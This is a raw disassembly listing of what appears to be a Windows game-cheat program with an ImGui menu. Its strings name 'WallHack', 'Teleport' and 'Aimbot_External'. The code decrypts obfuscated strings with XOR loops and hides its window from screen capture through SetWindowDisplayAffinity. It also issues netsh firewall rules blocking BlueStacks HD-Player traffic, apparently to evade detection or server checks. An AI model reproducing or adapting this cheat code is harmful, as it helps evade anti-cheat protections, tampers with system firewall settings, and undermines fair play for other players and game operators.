pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173810]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x89], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x8d]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x8d], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x89]
add r9, rax
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400605b0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x89]
call fcn.1400345b0
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
mov rdx, qword [0x1401ba210]
test rdx, rdx
jne 0x140060631
mov r8d, 0xb71
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [0x1401ba210]
mov rax, qword [rdx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r13
jne 0x14006065b
cmp qword [rdx + 0x4b28], r13
je 0x140060667
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
mov eax, dword [str.cxpzD]
mov r8d, r13d
mulss xmm0, xmm9
subss xmm0, dword [rdx + 0x37e8]
mov dword [rbp + 0x84], eax
movzx eax, byte [0x14017382c]
mov byte [rbp + 0x88], al
mov dword [rbp + 0xbc], 0x420c0000
addss xmm0, xmm11
movss dword [rbp + 0xb8], xmm0
movsd xmm0, qword [0x140173820]
movsd qword [rbp + 0x7c], xmm0
cmp r15d, 2
jl 0x1400607cb
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173820]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x7c], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x80]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x80], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x7c]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400607e0
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x7c]
call fcn.1400345b0
test al, al
je 0x1400609ea
mov eax, dword [0x140173710]
mov r8d, r13d
movsd xmm0, qword [0x140173708]
mov dword [rbp + 0x115], eax
movzx eax, word [0x140173714]
mov word [rbp + 0x119], ax
movzx eax, byte [0x140173716]
mov byte [rbp + 0x11b], al
movsd qword [rbp + 0x10d], xmm0
cmp r15d, 2
jl 0x140060980
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173708]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x10d], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x111]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x111], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x10d]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140060990
comiss xmm13, dword [0x1401db7ec]
jbe 0x1400609dc
lea rax, [rbp + 0x10d]
mov qword [0x1401b7df0], rax
mov byte [0x1401ba28c], 1
mov dword [0x1401db4ac], r13d
call fcn.14000c5a0
call fcn.140016b30
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
call fcn.1400169e0
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
addss xmm0, dword [0x140174170]
movss dword [rax + 0xfc], xmm0
mov byte [rax + 0x139], 1
test rcx, rcx
jne 0x140060a65
mov r8d, 0xb71
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
movss xmm0, dword [rcx + 0x3830]
mulss xmm0, xmm9
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm1, dword [rax + 0x248]
mulss xmm2, xmm9
addss xmm2, dword [0x140174180]
subss xmm2, xmm0
movss xmm0, dword [rax + 0x18]
subss xmm1, xmm0
subss xmm2, xmm13
cmp qword [rax + 0x1a0], r13
jne 0x140060ac6
cmp qword [rcx + 0x4b28], r13
je 0x140060ad2
movss xmm1, dword [rax + 0x218]
subss xmm1, xmm0
cmp byte [str._W_YPX], r13b
movss xmm0, dword [rcx + 0x382c]
mov rax, qword [0x140173ca8]
mulss xmm1, xmm9
mov qword [rbp + 0x2c], rax
mulss xmm0, xmm9
movss dword [rbp + 0x39c], xmm2
subss xmm1, xmm0
subss xmm1, dword [0x14017415c]
movss dword [rbp + 0x398], xmm1
je 0x140060c64
cmp r15d, 2
jl 0x140060c22
movdqa xmm2, xmmword [0x1401742f0]
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x2c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x2c], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x30], xmm2
jmp 0x140060c64
lea r9, [rbp + 0x2c]
mov r8d, r13d
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140060c30
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x2c]
call fcn.14000c490
cmp byte [0x140173c31], r13b
movzx eax, word [0x140173c30]
movsd xmm0, qword [str.oXVW]
mov word [rsp + 0x78], ax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x390], rax
movzx eax, word [0x1401739a8]
movsd qword [rsp + 0x70], xmm0
movsd xmm0, qword [str.sCeTPLzaB]
mov word [rbp - 0x73], ax
movzx eax, byte [0x1401739aa]
movsd qword [rbp - 0x7b], xmm0
je 0x140060d00
xor byte [rsp + 0x71], 0x39
xor byte [rsp + 0x72], 0x3a
xor byte [rsp + 0x73], 0x3b
xor byte [rsp + 0x74], 0x3c
xor byte [rsp + 0x75], 0x3d
xor byte [rsp + 0x76], 0x3e
xor byte [rsp + 0x77], 0x3f
xor byte [rsp + 0x78], 0x40
xor byte [rsp + 0x79], 0x41
mov byte [rsp + 0x70], 0x57
nop dword [rax]
nop dword [rax + rax]
xor byte [rbp - 0x7a], 0x39
lea r8, [rbp + 0x390]
xor byte [rbp - 0x79], 0x3a
lea rdx, [0x1401efe14]
xor byte [rbp - 0x78], 0x3b
lea rcx, [rbp - 0x7b]
xor byte [rbp - 0x77], 0x3c
xor al, 0x42
xor byte [rbp - 0x76], 0x3d
mov r9d, esi
xor byte [rbp - 0x75], 0x3e
xor byte [rbp - 0x74], 0x3f
xor byte [rbp - 0x73], 0x40
xor byte [rbp - 0x72], 0x41
mov byte [rbp - 0x71], al
mov byte [rbp - 0x7b], 0x4b
mov dword [rsp + 0x20], 2
call fcn.140032de0
mov r8b, 1
lea rdx, [0x1401ba24c]
lea rcx, str.WallHack
call fcn.140031ba0
mov r8b, 1
lea rdx, [0x1401ba280]
lea rcx, str.Teleport
call fcn.140031ba0
mov r8b, 1
lea rdx, [0x1401ba248]
lea rcx, str.Aimbot_External
call fcn.140031ba0
call fcn.14000c5a0
call fcn.140016b30
mov eax, dword [0x1401efdf4]
cmp eax, 3
jne 0x140063e57
call fcn.1400169e0
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [rax + 0x248]
subss xmm1, xmm0
subss xmm2, xmm7
subss xmm2, xmm15
cmp qword [rax + 0x1a0], r13
jne 0x140060dfe
cmp qword [rcx + 0x4b28], r13
je 0x140060e0a
movss xmm1, dword [rax + 0x218]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x382c]
lea rdx, [rbp + 0x384]
movzx eax, byte [0x140173e98]
lea rcx, [rbp - 0x22]
mulss xmm0, xmm9
xor al, 0x40
mov byte [rbp - 0x1a], al
mulss xmm1, xmm9
movss dword [rbp + 0x388], xmm2
subss xmm1, xmm0
movsd xmm0, qword [str.kNOUSYL_]
movsd qword [rbp - 0x22], xmm0
xor byte [rbp - 0x21], 0x39
xor byte [rbp - 0x20], 0x3a
xor byte [rbp - 0x1f], 0x3b
xor byte [rbp - 0x1e], 0x3c
subss xmm1, xmm8
xor byte [rbp - 0x1d], 0x3d
xor byte [rbp - 0x1c], 0x3e
xor byte [rbp - 0x1b], 0x3f
mov byte [rbp - 0x22], 0x53
movss dword [rbp + 0x384], xmm1
call fcn.14000c490
cmp byte [0x140173723], r13b
movsd xmm0, qword [0x140173718]
mov eax, dword [0x140173720]
movsd qword [rbp + 0x18b], xmm0
mov dword [rbp + 0x193], eax
je 0x140061005
mov r8d, r13d
cmp r15d, 2
jl 0x140060fc4
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173718]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x18b], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x18f]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18f], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18b]
add r9, rax
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140060fd1
lea rdx, [0x1401f0151]
lea rcx, [rbp + 0x18b]
call fcn.140035ce0
test al, al
je 0x1400614fe
cmp byte [0x1401f0151], r13b
je 0x140061297
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp + 0xa8], r13
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0xa8]
mov r8d, esi
lea r9, [0x140138100]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140138110]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x1400610a6
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp + 0xa8]
mov rdx, rax
call rbx
mov rcx, qword [rbp + 0xa8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [0x140173630]
mov r8d, r13d
mov dword [rbp + 0x1d8], eax
movzx eax, word [0x140173634]
mov word [rbp + 0x1dc], ax
movzx eax, byte [0x140173636]
mov byte [rbp + 0x1de], al
movups xmm0, xmmword [0x140173620]
movups xmmword [rbp + 0x1c8], xmm0
cmp r15d, 2
jl 0x14006122f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x1cc]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140061120
cmp r8d, 0x17
jge 0x140061274
movsxd rax, r8d
lea r9, [rbp + 0x1c8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140061240
lea rax, [rbp + 0x1c8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x140061282
lea rdx, [rbp + 0x1c8]
jmp 0x1400614f2
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp + 0xb0], r13
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0xb0]
mov r8d, esi
lea r9, [0x140138100]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140138110]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x14006130d
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp + 0xb0]
mov rdx, rax
call rbx
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp byte [reloc.WLDAP32.dll_Ordinal_79], r13b
movups xmm0, xmmword [str.kMH_P]
movups xmmword [rbp + 0x7e0], xmm0
movsd xmm0, qword [0x140173ca0]
movsd qword [rbp + 0x7f0], xmm0
je 0x1400614d4
cmp r15d, 2
jl 0x140061489
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x7e4]
movdqa xmm5, xmmword [0x1401742f0]
mov edx, r13d
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x140061380
jmp 0x1400614d4
lea r9, [rbp + 0x7e0]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1400614a0
lea rax, [rbp + 0x7e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400614e2
lea rdx, [rbp + 0x7e0]
lea rcx, [0x1401b92c0]
call fcn.140042c70
mov rax, qword [0x1401ba210]
mov rax, qword [rax + 0x3ee0]
cmp byte [rax + 0xb3], r13b
jne 0x140061527
mov eax, dword [rax + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
mov eax, dword [0x140173d80]
mov r8d, r13d
movsd xmm0, qword [str.zUUXW]
mov dword [rbp + 0x4c], eax
movzx eax, word [0x140173d84]
mov word [rbp + 0x50], ax
movzx eax, byte [0x140173d86]
mov byte [rbp + 0x52], al
movsd qword [rbp + 0x44], xmm0
cmp r15d, 2
jl 0x140061666
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.zUUXW]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x44], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x48]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x48], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x44]
add r9, rax
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140061670
lea rdx, [0x1401f0178]
lea rcx, [rbp + 0x44]
call fcn.140035ce0
test al, al
je 0x1400627de
cmp byte [0x1401f0178], r13b
je 0x140061947
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
